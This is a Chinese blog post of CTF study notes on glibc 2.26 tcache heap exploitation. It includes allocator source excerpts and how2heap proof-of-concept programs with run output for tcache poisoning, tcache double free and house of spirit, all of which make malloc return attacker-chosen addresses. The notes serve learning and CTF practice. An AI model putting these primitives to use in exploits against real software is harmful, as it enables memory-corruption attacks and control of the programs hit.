本文最后更新于:星期五, 三月 8日 2019, 8:32 晚上

最近做国际赛的题,遇到了tcache下的堆利用,之前没有接触过tcache机制,所以就来学习一下,主要是围绕howtoheap来学习,做下笔记。

tcache机制是glibc-2.26新增的机制,主要是用来提升堆管理的性能,但是它的安全机制几乎没有….所以搞事就容易很多了,混子pwn手的福音

基础知识

tcache的两个新增的结构体

typedef struct tcache_entry        //tcache_entry 是用来链接chunk的结构体,*next指向下一个chunk的 
{                              //user data
  struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct    //tcache的管理结构,一共有64项entries
{
  char counts[TCACHE_MAX_BINS];    
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

一些新增的宏

//tcache新增的宏
#if USE_TCACHE
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS                64        //tcache entries的数量
# define MAX_TCACHE_SIZE        tidx2usize (TCACHE_MAX_BINS-1)    //tcache的最大大小
/* Only used to pre-fill the tunables.  */
# define tidx2usize(idx)        (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size.  */
# define usize2tidx(x) csize2tidx (request2size (x))
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7    //一个entry最多可以有7个chunk
#endif

源码分析我就不写了,懒~,大佬们写的都很详细了

M4X大佬博客

P4nda大佬

tcache_poisoning

通过覆盖tcache_entry中的 next指针,实现任意地址分配。因为tcache_get函数没有安全性检查机制

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);    
  tcache->entries[tc_idx] = e->next;//基本什么检查都没有
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

源码:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    size_t stack_var;
    fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);

    fprintf(stderr, "Allocating 1 buffer.\n");
    intptr_t *a = malloc(128);
    fprintf(stderr, "malloc(128): %p\n", a);
    fprintf(stderr, "Freeing the buffer...\n");
    free(a);

    fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
    fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
        "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
    a[0] = (intptr_t)&stack_var;

    fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
    fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);

    intptr_t *b = malloc(128);
    fprintf(stderr, "2nd malloc(128): %p\n", b);
    fprintf(stderr, "We got the control\n");

    return 0;
}

运行结果:

zs0zrc@ubuntu:~/pwn/how2heap/glibc_2.26$ ./tcache_poisoning 
The address we want malloc() to return is 0x7ffe8a1508e0.
Allocating 1 buffer.
malloc(128): 0x562bb17cd260
Freeing the buffer...
Now the tcache list has [ 0x562bb17cd260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x562bb17cd260
to point to the location to control (0x7ffe8a1508e0).
1st malloc(128): 0x562bb17cd260
Now the tcache list has [ 0x7ffe8a1508e0 ].
2nd malloc(128): 0x7ffe8a1508e0
We got the control

这个程序先分配了一个大小128的chunk,然后将它free掉。此时这个chunk会被放入tcache中,然后修改它的next字段,修改为一个栈上变量的地址。最后在分配两次128大小的chunk,就可以控制栈上的内容了。

tcache_dup

这个这是效果和double free差不多,但是比glibc_2.25版本简单,直接free两次就好了,因为tcache_put也没什么检查机制

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

how2heap例子

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

    fprintf(stderr, "Allocating buffer.\n");
    int *a = malloc(8);

    fprintf(stderr, "malloc(8): %p\n", a);
    fprintf(stderr, "Freeing twice...\n");
    free(a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
    fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

    return 0;
}

运行结果:

zs0zrc@ubuntu:~/pwn/how2heap/glibc_2.26$ ./tcache_dup 
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x5595e067f260
Freeing twice...
Now the free list has [ 0x5595e067f260, 0x5595e067f260 ].
Next allocated buffers will be same: [ 0x5595e067f260, 0x5595e067f260 ].

free两次后tcache的情况

1540968645366

house_of_spirit

这个主要是由于tcache_put函数没有对chunk的前后chunk的有效性进行检查,所以只要构造好本块对齐的chunk就可以free掉放入tcache中。

前提:(x64位下) ps:free掉的地址是伪造的chunk的user_data地址,和之前还是有点不同的

  1. 伪造的size<= 0x410
  2. malloc的大小 <= 0x408

源码:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned long long *a; //pointer that will be overwritten
    unsigned long long fake_chunks[10]; //fake chunk region

    malloc(1);//init heap

    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

    a = &fake_chunks[2];
    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

free掉伪造的chunk后堆的情况

1541055592233

reference:

M4X’s blog

P4nda

CTF-WIKI

tcache_source_code


Heap_Exploitation      pwn housetoheap

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!